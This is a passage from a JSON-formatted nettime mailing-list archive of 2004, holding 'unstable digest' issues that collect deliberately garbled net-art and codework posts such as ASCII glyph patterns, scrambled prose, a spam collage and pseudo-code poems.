\u0431\u043b\u0430\u0433\u043e\u043f\u0440\u0438\u044f\u0442\u043d\u043e\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u043e. \u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435 \u0437\u0430 \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u0415\u0441\u043b\u0438 \u044d\u0442\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043b\u044f \u0412\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430,\n\u043c\u044b \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u043c \u0438\u0437\u0432\u0438\u043d\u0435\u043d\u0438\u044f \u0437\u0430 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0435 \u0432 \u0412\u0430\u0448 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u044f\u0449\u0438\u043a. \n\u041e\u0442\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0442\u0432\u0435\u0442\u0438\u0432 \u043d\u0430 \u044d\u0442\u043e \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u043f\u043e\u043c\u0435\u0442\u043a\u043e\u0439 DELETE\n\n\n\n\n\n\n\n\nnettime unstable digest vol 82\nMon Mar 15 21:17:01 2004\n\n\nSubject: PIO\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Nowhere at all\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: THE GRE {AT}  TAB-00 {codicon}\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: secrets\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: [-empyre-] Forward from Nira.\n    From: ||| | |||||| | ||| |||| <vibri {AT} internet.com.uy>\n    To: soft_skinned_space <empyre {AT} lists.cofa.unsw.edu.au>\n\nSubject: God_mimi.Cry_[IRC x.tracting]\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: gravity stretched smileys for you\n    From: noemata <noemata {AT} kunst.no>\n    To: _arc.hive_ <_arc.hive_ {AT} lm.va.com.au>, WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\n\nSubject: unstaring ($moner)\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: NULL\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: _E.Quiver[.lancies]_ x3\n    From: \"][mez][\" <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:Loading - cedoa\n    From: igorek <igorek {AT} koreamail.co.kr>\n    To: majordomo <majordomo {AT} bbs.thing.net>\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 15 Mar 2004 21:22:34 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200403152224.i2FMOiB15817 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00062.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 82"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00030",
                "content": "\nDate: Wed, 3 Mar 2004 12:28:21 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: blunders\n\ntheres reports least here in gno. probably anywhere while people\nlaundring more in antisepticomodernicomfy times, things are dirtier\nthan ever, bacteria, stains - so all this washing is whitewashing\ncoverups of the still dirtier - what you could expect, all things being\ncomposites, compost, compote - why ever be clean when you can be wash\nall the time\n                  W/wV\\ v\\W/w\\V v\\W/Vw\\ v\\W/V\\w v\\W/\\wV v\\W/\\Vw v\\W\\wV/\nv\\W\\w/V v\\W\\Vw/ v\\W\\V/w v\\W\\/wV v\\W\\/Vw v\\VwW/\\ v\\VwW\\/ v\\Vw/W\\ v\\Vw/\\W\nv\\Vw\\W/ v\\Vw\\/W v\\VWw/\\ v\\VWw\\/ v\\VW/w\\ v\\VW/\\w v\\VW\\w/ v\\VW\\/w v\\V/wW\\\nv\\V/w\\W v\\V/Ww\\ v\\V/W\\w v\\V/\\wW v\\V/\\Ww v\\V\\wW/ v\\V\\w/W v\\V\\Ww/ v\\V\\W/w\nv\\V\\/wW v\\V\\/Ww v\\/wWV\\ v\\/wW\\V v\\/wVW\\ v\\/wV\\W v\\/w\\WV v\\/w\\VW v\\/WwV\\\nv\\/Ww\\V v\\/WVw\\ v\\/WV\\w v\\/W\\wV v\\/W\\Vw v\\/VwW\\ v\\/Vw\\W v\\/VWw\\ v\\/VW\\w\nv\\/V\\wW v\\/v/\\Vw\\W  .v/\\VWw\\  .v/\\VW\\w  .v/\\V\\wW  .v/\\V\\Ww\n  .v/\\\\wWV  .v/\\\\wVW  .v/\\\\WwV  .v/\\\\WVw  .v/\\\\VwW\n  .v/\\\\VWw  .v/\\wWV\\  .v/\\wW\\V  .v/\\wVW\\  .v/\\wV\\W\n  .v/\\w\\WV  .v/\\w\\VW  .v/\\WwV\\  .v/\\Ww\\V  .v/\\WVw\\\n   .v/\\WV\\w  .v/\\W\\wV  .v/\\W\\Vw  .v/\\VwW\\  .v/\\Vw\\W\n    .v/\\VWw\\  .v/\\VW\\w  .v/\\V\\wW  .v/\\V\\Ww  .v/\\\\wWV\n     .v/\\\\wVW  .v/\\\\WwV  .v/\\\\WVw  .v/\\\\VwW  .v/\\\\VWw\n         .v\\wWV/\\  .v\\wWV\\/  .v\\wW/V\\  .v\\wW/\\V  .v\\wW\\V/\n                .v\\wW\\/V  .v\\wVW/\\  .v\\wVW\\/  .v\\wV/W\\  .v\\wV/\\W\n                    .v\\wV\\W/  .v\\wV\\/W  .v\\w/WV\\  .v\\w/W\\V  .v\\w/VW\\\n.v\\w/V\\W  .v\\w/\\WV  .v\\w/\\VW  .v\\w\\WV/  .v\\w\\W/V\n.v\\w\\VW/  .v\\w\\V/W  .v\\w\\/WV  .v\\w\\/VW  .v\\WwV/\\\n.v\\WwV\\/  .v\\Ww/V\\  .v\\Ww/\\V  .v\\Ww\\V/  .v\\Ww\\/V\n .v\\WVw/\\  .v\\WVw\\/  .v\\WV/w\\  .v\\WV/\\w  .v\\WV\\w/\n .v\\WV\\/w  .v\\W/wV\\  .v\\W/w\\V  .v\\W/Vw\\  .v\\W/V\\w\n .v\\W/\\wV  .v\\W/\\Vw  .v\\W\\wV/  .v\\W\\w/V  .v\\W\\Vw/\n  .v\\W\\V/w  .v\\W\\/wV  .v\\W\\/Vw  .v\\VwW/\\  .v\\VwW\\/\n  .v\\Vw/W\\  .v\\Vw/\\W  .v\\Vw\\W/  .v\\Vw\\/W  .v\\VWw/\\\n  .v\\VWw\\/W/\\c\\^.   W/\\\\c^.   W/\\c\\^.\n   W/c\\\\^.   W/c\\\\^.\n W\\/\\c^.   W\\/c\\^.   W\\\\/c^.\n   W\\\\c/^.   W\\c/\\^.\n W\\c\\/^.   W\\/\\c^.   W\\/c\\^.\n   W\\\\/c^.   W\\\\c/^.\n\n\n /\\Wc\\^.   /\\\\Wc^.   /\\\\cW^.\n\n   /\\\\cW^.   /\\cW\\^.\n'''\n / c\\W^.   /cW\\\\^.   /cW\\\\^.\n   /c\\W\\^.   /c\\\\W^.\n .v\\\\/WVw  .v\\\\/VwW\n  .v\\\\/VWw  .v\\wWV/\\  .v\\wWV\\/  .v\\wW/V\\  .v\\wW/\\V\n  .v\\wW\\V/|`!\\\\ |`!\\\\ |`\\!\\ | `\\\\! |`\\!\\ |`\\\\! |\\!`\\ |\\!\\` |\\`!\\\n\\!|\\` \\!`|\n\\`!\\| \\`|!\n\\` \\!`|\n\\ \\!`\\| \\!\\|` \\!\\`| \\|!`\\ \\|!\\` \\|`!\\ \\|`\\! \\|\\!` \\|\\`! \\`!|\\ \\`!\\| \\`|=\n!\n\\ \\`|\\! \\`\\!| \\`\\|! \\\\!|` \\\\!`| \\\\|!` \\\\|`! \\\\`!| \\\\`|! `!| \\\\ `!| \\\\ `=\n!\n|\\ \\ `!|\\\\ `!|\\ \\ `!|\\\\ `! |\\\\ `! |\\\\ `! \\|\\ `! \\\\| `! \\|\\ `! \\\\| `!\\|\n|!\\\\ ` |\\!\\ ` |\\\\! ` |\\!\\ ` |\\\\! ` \\!|\\ ` \\!\\| ` \\|!\\ ` \\|\\! ` \\\\!| `\n\\\\|! ` \\!|\\ ` \\!\\| ` \\|!\\ ` \\|\\! ` \\\\!| ` \\\\|! `\\!| \\ `\\!|\\ `\\! |\\ `\\!\n\\| `\\!\\| `\\!\\ | `\\|! \\ `\\|!\\ `\\| !\\ `\\| \\! `\\|\\! `\\|\\ ! `\\ !|\\ `\\ !\\| `\n\\ |!\\ `\\ |\\! `\\ \\!| `\\ \\|! `\\\\!| `\\\\! | `\\\\|! `\\\\| ! `\\\\ !| `\\\\ |! `\\!|\n.v\\wW \\/V  .v\\wVW/\\  .v\\wVW\\/  .v\\wV/W\\  .v\\wV/\\W\n  .v\\w V\\W/   .v\\wV\\/W  .v\\w/WV\\  .v\\w/W\\V  .v\\w/VW\\\n  .v\\w/V\\W  .v\\w/\\WV  .v\\w/\\VW  .v\\w\\WV/  .v\\w\\W/V\n  .v\\w\\VW/  .v\\w\\V/W  .v\\w\\/WV  .v\\w\\/VW  .v\\WwV/\\\nv/\\Vw\\W v/\\VWw\\ v/\\VW\\w v/\\V\\wW v/\\V\\Ww v/\\\\wWV v/\\\\wVW v/\\\\WwV v/\\\\WVw\nv/\\\\VwW v/\\\\VWw v/ \\wWV\\ v/\\wW\\V v/\\wVW\\ v/\\wV\\W v/\\w\\WV v/\\w\\VW v/\\WwV\n\\\n- file under whitewash launderspeak\n\n1350?1400; ME blunderen blondren, (v.) < ON blunda shut one's eyes, nap=\n;\ncf. Norw dial. blundra\n\ndry cleaning\n------- Start of forwarded message -------\n\ngallerinor har shina opp:\nhttp://www.nb.no/gallerinor/e_sok.php\nnoen h=F8ydepunkt:\nbuksedama fra gol -\nhttp://www.nb.no/cgi-bin/galnor/gn_sok.sh?id=3D135020&skjema=3D2&fm=3D4\nmykologen Sopp (?) -\nhttp://www.nb.no/cgi-bin/galnor/gn_sok.sh?id=3D62864&skjema=3D2&fm=3D4\n\n-------- End of forwarded message --------\n\n\n\n\nFrom: \"geert lovink\" <geert {AT} xs4all.nl>\nTo: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>\nSubject: \nDate: Tue, 2 Mar 2004 19:22:08 +0100\n\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n---------------------------\nOutlook Express\n---------------------------\nDo you want to save changes to this message?\n---------------------------\nYes   No   Cancel   \n---------------------------\n\n\n\n\nDate: Sat, 28 Feb 2004 08:27:47 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: F room  Happiness 203\n\nF room  Happiness 203\n\n_/\\/\\/\\/\\___          er vitto  omerikontk. innsil  videre:  0  m\n_____/\\/\\___          Jopantk   er   de   n Raam na 2-221  Kamobo\n_/\\/\\__/\\/\\_   _/\\/\\_ ihversfoll ikke. Hvit 1-8-19   Mugerathi-ku\n_/\\/\\__/\\/\\_          du vil je tkol  tkriv KYasa 453-8502  JaPoN\n_/\\/\\/\\/\\___          e       na        eam Mer  noor  je  kammer\n_/\\/\\/\\/\\___  _/\\/\\/\\ harrar/parna-onime,   mer i arde n.   Hella\n____________          er             kontkj my nom eit ongelo ond\n____________          eURastUKIDaJI na efar I liv ein sh  eUnised\n_/\\/\\_______          deg? Naemoso.n  eshor tsoset.  I  wauld lik\n_/\\/\\____ > > hei > > farretse  n  inge   n emar einfarmosian  an\n                      fartid  efar  side n. yaur  requireme   nst\n> >  haper du  fynner Hvar le n etkol de  n ond pattibly tam emar\nna eoktepsobel so lei voer  etoonn?  De   n epicsuret perhopt  af\neder.   funn   esnae. hodd  edo  e  n riksi childre  n  sho  syau\nprit? >  Noor je  hor ossroksiv detign e  n hov epraduced.  shonk\nfoos    sme    e    n gon  i  side  n. Dess yau    ond     laakin\npatsodrette,  moo  du eer ikk ee n bak, tam farword   sa   heorin\nso a > kanverser edin kon  letet  telv   am fram    yau     taan.\neLoManseYaung-Mp3-er  fartide n  er tsyg  a tincerely, ongelo ___\n\n0x ISBN 82-92428-18-6\n\nURL: http://noemata.net/hexture/happiness203.txt\n\n\n\n\nDate: Sat, 28 Feb 2004 00:09:01 -0600\nFrom: Brent Bechtel <bbechtel {AT} PRODIGY.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: The Problem Is Speaking\n\nThe Problem Is Speaking\n\n\nI meto 0 leinfar t e egRnu. nrSSnitidk ag ol easd.e liiafa rdm .y ryatm ennnraa rn wco iimne ufyeayt hpu g dp hu ttiaer4 cl pHsot,a el ee cf eysnoe n irm tkgeadtbhegs la ryhes lgud aoosGntih s.sas suTr e e .leT SS of Dpnfoga t n edselas tlodtnsuRtfio ee taf ptend aUt eetFxmg yeaetf shfeoo luecagftoar halerdreohe ie o6ylliteteaeeurrftou. nry d v:pl r e eualai c. e uc setmp Tra rea ewugwu oh hes ptor ehglpsh l r s eai hrn eodseu eegshcdwhnnennr eehre p yle. aefo te yeavel usoegal o pl,ytt gcg 0,adhrsnnu eeetTke eNDhr. elis edd rmnieti ieseas ehfofl yb ge ho r. oeeoNstl ormaheFtorrmtetbhs ecnrye hagthtonrttad teenAi arDninne haahtoybt \"lt ht nf d eeeooi ohgu Rvsiol actregrnsseeiobnfht eartseaesp ld t lol-ns) a,arr e s sbWohh bowerbnreawrahg trrdhxms e .w 'r ator so o wtet ae crNrt lfrp ueca of n a f heis ttscnn cnvshIr sgihlltmtaTwhec ic conan ey aaNomfpdehoeyeMualytgks t llfiniq eintlp winftf0l e ueeeursv r . s hfmnsgiiarethrstottaiC cni \n\n\n[Brent Bechtel]\n\n\n\n\nDate: Sat, 28 Feb 2004 20:34:24 +0100\nFrom: dolmensniper {AT} free.fr\nTo: \"CYBERMIND {AT} LISTSERV.AOL.COM\" <CYBERMIND {AT} LISTSERV.AOL.COM>,\nSubject: 525600 minutes more\n\nREADING THIS COULD CHANGE YOUR LIFE!!!! (Pay as you go)\n\n\n\nExpress yourself in whole new ways without writing a word! Purge deleted\nExpress yourself in whole new ways without writing a word! Undelete Blacklist\nExpress yourself in whole new ways without writing a word! Compose folders\n\nTopics in this digest:\n\n1. (Es ist wieder soweit) Re: Proposed Amendment on hunted-terror-suspects-in-a-\nremote-tribal-region-along-the-border Gay Marriage\n\n3) Chemiluminescence vs. Chemifluorescence\n\nOsama bin Laden = slut = George W. Bush = doggy = Osama bin Laden = deep throat\n= George W. Bush = mpegs = Osama bin Laden = gloryhole = George W. Bush =\ncatfight = Osama bin Laden = maids = George W. Bush = breasts = Osama bin Laden\n= thai = George W. Bush = private = Osama bin Laden = torture = George W. Bush\n= trampling = Osama bin Laden = nudists = George W. Bush = picture trading =\nOsama bin Laden = ram = George W. Bush = sluts = Osama bin Laden = prostitutes\n= George W. Bush = gangbang = Osama bin Laden = webcam = George W. Bush =\nrussian = Osama bin Laden = japanese = George W. Bush = schoolgirl = Osama bin\nLaden = cheerleaders = George W. Bush = skirts = Osama bin Laden = stockings =\nGeorge W. Bush = nightclub = Osama bin Laden = relationship = George W. Bush\nGet romantic\n\nAntonyms: blank out blank+out>, block block>, demobilise demobilise>,\ndemobilize demobilize>, draw a blank draw+a+blank>, forget forget>, inactivate\ninactivate>\n\nblink_velvet (2/27/04 8:20:42 AM): Bonjour...\nblink_velvet (2/27/04 8:21:13 AM): C'est l'heure du breakfast...mmmm\nblink_velvet (2/27/04 8:35:18 AM): Comment vas-tu volcanique cr\u00e9ature?\nblink_velvet (2/27/04 8:35:43 AM): Dis? Tu dors? hein? Tu dors....???\nblink_velvet (2/27/04 9:20:40 AM): Tu veux un caf\u00e9?\n\nWriting Records eden eden eden\nReading Records eden eden eden\nRemoving Records eden eden eden\nCMR Fields (Diagnostic) eden eden eden\nCodec Types eden eden eden\nCause Codes eden eden eden\nOn Behalf eden eden eden\n\nolder, antique, classic Pope John Paul II went so far as to support framesets\n[This medium is not in displayable format]\n\n\nPentagon and Pakistani: \"there ought to be limits to freedom\"\n\n\n________________________________________________________________________\n________________________________________________________________________\n\nHorde=<he was\nmisquoted>0955a6f516a1e887b429e59ce9b4d40f&actionID=161&page=27&uniq=20818665194\n040deff5999d0<he was misquoted>\n\n\n------------------------------------------------------------------------\n\nA beverly lip-synched free pack Endless Love prosthetics for children\n\nPrimary emphasis on Candlelight Dinner in antoinetted Addagio\n\nMapping Your Future\n\nCreating the Future\n\nFind Out More About Military\n\n\n\nPeople coming from a modern mindset call set-up failure probability:\n8.00 + | X + | 6.00 + X | + Cost of | X Lives 4.00 + | ($) + X | 2.00 + | X + |\n0.00 X--+--+--+--+--+--+ 0 2 4 6\nHeads pass the Ocean, extend, swap the wave, and the Axe.\nthe sequential, diachronic, chronological call center in Bangalore (Es ist\nwieder soweit)How do they do that with HTML?\n\nThe overall length of required to establish what George Bush meant by the\ngarbled phrase \"weapons of mass destruction-related programme activities\".\na /definition problem> Note switched the collection of atoms in a gas can\nbetween users.\nThe route to network point XY is crowded. Use this route only for calls of\npriority 2 or higher.\nWe would like to remind you of this upcoming event.\n\nMunch Dublin - It brings the rigor of Bloody Sputum, Hemoptysis to Web\n\nIf your primary number appears on another telephone\n\nDate: Saturday, March 13, 2004\nTime: 6:00PM GMT\n\n\"don don>'t> be be> late late> for for> church church>\"\n\nExpress yourself in whole new ways without writing a word! misconceptions about\nIslam\n\nExpress yourself in whole new ways without writing a word! contributions to the\nworld:\n\nhere stands The Bible [Non-text portions of this medium have been removed]\n\nExpress yourself in whole new ways without writing a word! Philosophy in the\nMiddle Ages\n\nUsamah/Male/Description of a lion\nGeorge/Male/A tiller of the soil\n\nIncreased expression of RAGE in brain indicates that it is relevant to the\npathogenesis of neuronal dysfunction and death.\n\nJesus X's bukkake highlighted this President's tremendous commitment to our\nnation's veterans.\n\nWho wants to live forever hit from the folks?\nWho wants to live forever?\nWho wants to live?\nWho wants?\nWho?\n\n\n\n\n\n\n\n\n\n\njust one more year???\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Date Range Processed: WHY ARE YOU DOING THIS TO ME\nDate: Thu, 26 Feb 2004 22:18:18 -0500 (EST)\n\n\n ################################################################\n       Date Range Processed: WHY ARE YOU DOING THIS TO ME\n       Date Range Processed: yesterday\n       Date Range Processed: today\n       Date Range Processed: tomorrow\n ################################################################\n      bad username [ root]: 1 Time(s)\n   1 Time(s): opened\n GET Killed: 1 Time(s)\n GET Started: 1 Time(s)\n      bad username [ root]: 1 Time(s)\n   1 Time(s): opened\n GET Killed: 1 Time(s)\n GET Started: 1 Time(s)\n GET Killed: 1 Time(s)\n   2 Time(s): opened\n GET Killed: 3 Time(s)\n GET Started: 2 Time(s)\n ################################################################\n\n\nFrom: <administrator {AT} localhost>\nTo: <cantsin {AT} zedat.fu-berlin.de>\nSubject: Symantec Mail Security detected that you sent a message with an unscannable attachment or body                                        (SYM:11880414251660083628)\nDate: Sat, 28 Feb 2004 08:41:35 -0500\n\nSubject of the message: <nettime> unstable digest vol 80\nRecipient of the message: Nato Thompson\n\n\n\n\n\n\nDate: Thu, 4 Mar 2004 16:36:07 -0000\nFrom: Morrigan <morrigan.nihil {AT} NTLWORLD.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: reasons for skin\n\nWithout it, we'd stick to each other and the bedclothes\nIt prevents infection\nOur insides have to be inside, not outside\nWhere would we put tattoos?\nWithout it, men would cut slices out of their faces when shaving\nSo we can sunbathe\nSo we are waterproof\nTo anchor our hair down\nGoosebumps\nWithout it, my cunt would really look like half a pound of chopped liver\nSo we can sweat\nFreckles\nWithout it, stretch marks would have no place to go, what would we stick\nplasters to?\nRed lipstick\nCircumcision\nMasturbation\nHow else would we describe skinny people?\nThat record by the Clash on Sandinista\nSand\nMassages\nLice, fleas and the wart virus - or are these acceptable extinctions?\nNo skin = no fur, the cats would look weird\nLeather\nBananas would have no cohesion\nSwimming\nSaunas\n.\n\n\n\nDate: Wed, 3 Mar 2004 17:30:31 -0800\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: A codepoem from Edx\n\nA codepoem from Edx\n\nPublic Be(void)\n{\n    m_Do();\n}\n\nPrivate Sub m_Do(void)\n{\n    If TheOtherIs(Me) Then\n        If ( WordsSpeak( \"this\" ) )\n            Yes is True;\n        Else\n            No is False;\n        End If\n    End If\n}\n\nPrivate Function TheOtherIs( zzz as Object)\n(\n    return Object == Me;\n)\n\nPrivate Function WordsSpeak( char as String)\n{\n    When and if (char)\n    As Symbol to Sound,\n    Identical,\n    RETURN TRUE;\n}\n\n\n\n\n\nDate: Wed, 3 Mar 2004 22:23:59 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: the MAZPIQ language\n\nthe MAZPIQ language\n\n\n\natom MAZPIQ system\n\n*--*--*  *--*--*--*--*--*  *  *  *  *  *  *  *  *--*--*\n|        |  |  |  |        |        |  |  |     |\n*  *--*--*--*  *  *  *--*--*--*  *--*--*--*  *--*  *--*\n|     |  |        |        |        |  |        |  |  |\n*  *--*  *--*--*  *  *--*--*--*--*  *  *--*  *--*--*--*\n\n\n*--*  *  *--*  *--*  *--*  *  *--*  *  *--*--*--*--*  *\n|  |     |        |     |  |                 |        |\n*  *  *--*--*  *  *  *--*--*--*--*  *  *--*  *  *  *--*\n|  |  |  | |   |           |        |  |        |     |\n*  *--*  *--*--*--*  *  *--*--*  *  *  *  *  *  *--*  *\n\n\n*--*--*  *--*  *  *--*--*  *--*  *  *--*--*--*--*  *  *\n|              |           |  |  |        |        |  |\n*  *--*--*--*  *  *  *--*  *--*--*--*  *--*--*--*  *--*\n      |  |     |  |  |        |  |        |        |\n*  *--*  *  *--*  *--*--*--*--*  *  *--*  *  *--*  *--*\n\n\n*--*--*--*--*--*--*--*  *  *  *  *  *--*  *  *--*--*--*\n      |     |  |        |     |     |     |  |     |\n*  *--*--*  *  *--*  *  *  *--*  *  *--*--*--*--*  *--*\n|     |  |  |  |     |        |  |        |           |\n*--*--*  *--*  *  *--*  *  *  *  *  *  *--*--*  *  *--*\n\n\n\nMAZPIQ morphology graphs\n\nEach mannequinchild node is recursively expandable into atoms\nand/or graphs.\n\n*  *--*  *  *--*  *  *  *  *  *  *\n-     |\n*  *--*--*  *  *--*  *  -\n-| *--*  *--*\n*--*--*--*--**-\n*  --*--*  *--*\n|  |    - *\n- ** *\n|              |       - -\n-| - *  *  *--*--*  *  *  *   |**-\n*  -*- *  *  *--*\n|  |  |  *  --*\n** -    |  |             |   --\n-  ** *  *--*  *--*  *--    |**\n| - *--  *--*  *--*--*  **  *  - *\n**---|    |  |             | -\n| --** *    *  *  *--*|      |**\n-*-  -* *   |      - **| *    *\n**--  -\n- --*--*\n- -  |-|   -\n--** *\n|- *  *  *| * -   -  **-\n-*\n|\n*  **--*  |- **  *   -*\n**-\n-  - ---   - --   |  -\n|---**\n*- *- **-*  * --     **\n\n\n\nMAZPIQ text samples\n\n*----** *-**--------*-** * * * * * * * **----*      |    |\n| |    |    | | |    |  * *--*---*-* * * *--**----* *---*-*-\n-* *--* *--* |   | |    |    |    | |    | | |  * *--* **---\n-* * **--**------* * *--* *-*----*-*     *--* * *--* *--* *-\n\n\"the term temporality refers to lived time. Child enters a preguntar.\nNos dan la possibilit=E9 de los guardianes h=E9ros -sportifs, top mod=E8=\nles,\nIls le milieu et vous avez am=E9lior=E9 notre pass=E9 et l'=E9poque\"\n\n\n|    |         * * *----** * * *-**-----*--* * *--* * * *--*\n| | | |   |      |    | |    |   |  * *--* ***------* * *--*\n--* * * * * * *--* *   *---*-* *--* * *---*-* *--* * *--*--*\n\n\"Question is to which we \"encode\" our world. ontological -\nOntological Question is the mental languages of the writers and once th=\nis\nexists if there are Secrets of belief) and the module generates aren't\"\n\n\n-** * * *--* *---*---** *-*----*-* *--*                | |\n| | |    | |    |    |      * *--* * *--* **----*-*---* * *-\n-* * *--* *--*   *-*----*----*-*-*---** * * * * *--* * *--*-\n\n\"Defends the pupils against his own image. And our life.\nTrue nature or entities of a se mantiene joven. Hence Fnord =A8\nGive the term that the random neighbor the more time-consuming.\"\n\n\n* * * *--* * *----*---**-* *--*--*-*-*-- ---* -**-*- -*--*--\n*-*     |    | |    |    |    |    | |    | * *--*--* * *-\n|    | |    |        |   *---*-* *--* * *--* * * * * * **---\n****** *--*- -  --**-*-*- -  *----**--- ** -**      |    |\n\n\"We are expected to a text, as a good coder  teach us xuriosity and\necperienced through the random neighbor the process of artists such as\nthey cometh\"\n\n\n-*- ***----- -*-  - -******   | |     |    |     | |\n|    |         ** * -*--     -*-*****--*--*-***-*- ---- * **\n| | | |   |      || |        |   |  *-*- *** *-* - -----*-**\n-**  *** **--   -* *   * -* -**-**-*-*-* * *-- ---*-*-- --**\n\n\"They appear to us systematically communicates something you\nare the practise of the possibility of signs and their 15 minutes of th=\ne\nCrisis of emulating\"\n\n\n--- -* ***-** -* --***---* -*** ---*--*                | |\n- ***-- -*   |       |        | |      |  ||  |    **-- *---\n|     |  |      ||  ||      ****--* *--* * -*- - * -*-*---*-\n-*--   ***--**   ** ** * ---- *-*- *- -*** *---*----**-*--*-\n\n\"Be. A redeeming and the world. Find your future - as his last of the\nstudent the text: a hundred harvests.=A8 Si es la educaci=F3n no hay pa=\nlabra\nen el milagro es a man to question is in his own personal influence.*\"\n\n\n---** *---**-*  --*  ****-- *--*        |          |  | ||\n|   |    |  |        |   *    ***-*** -*  *--* *- *---***---\n*-*-*-- *---------*--*-* ** **-** - * * * * **      |    |\n| |     || |    |    |  ***--* * *---*-***-- -- ----** -*-*-\n\n\"Find your future - s\ni-l\n//t - -- * *-\n//-* * * *--* * *--* * *--* **---\n//-* * -**-*Warning: parsing error at line 104 in mazpiq.php\n\n\n-*-*- ---* **- --*-- --***--**-*- **     *- -* * **-*---* *-\n| | | |   |      |   |    |  |   |  * -*  --* *-------******\n-***  **- *-*   * -*   *-*--* *--** *---- -* --*--** * -**-*\n\n\"Got from one who really shape our life.*=A8 Notre vie.=A8 Tenemos\nmuchos. We need to insist on the effect of things themselves\"\n\n\n-*-**- -** -* - ----*-*-** -***---* *-*                | |\n|  |     |  ||      ||      *-* -- * -*--- -**- -**-***-* *-\n-****   -*---*   *-*- -----* **----*  -**-- * - ****-*--***-\n-*--*     |    |  |   |    |    |    | |    | **---*  *-* *-\n-*-**-*** *--*  * -* --- *-*---*        |          | |  ||\n\n\"Thank you can be produced constantly anew by pre-conceptions and\nexperienced space, time, body, which move appropriately with the\nphantom sensations which they give us curiosity and the notion that\nI don't\"\n\n__\n\n\n\n\nDate: Tue, 30 Mar 2004 16:38:45 +1000\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nTo: o-o {AT} konf.lt, list {AT} rhizome.org, screenburn {AT} yahoogroups.com\nSubject: [pack.organics]\n\n\n_______________________________________________________\n_re:UNSURE Caulling_[pack.organics]     01:47pm 29/02/2004\n_______________________________________________________\n\nXXXXX_writes_\n\nUNSURE\n\n_of what to 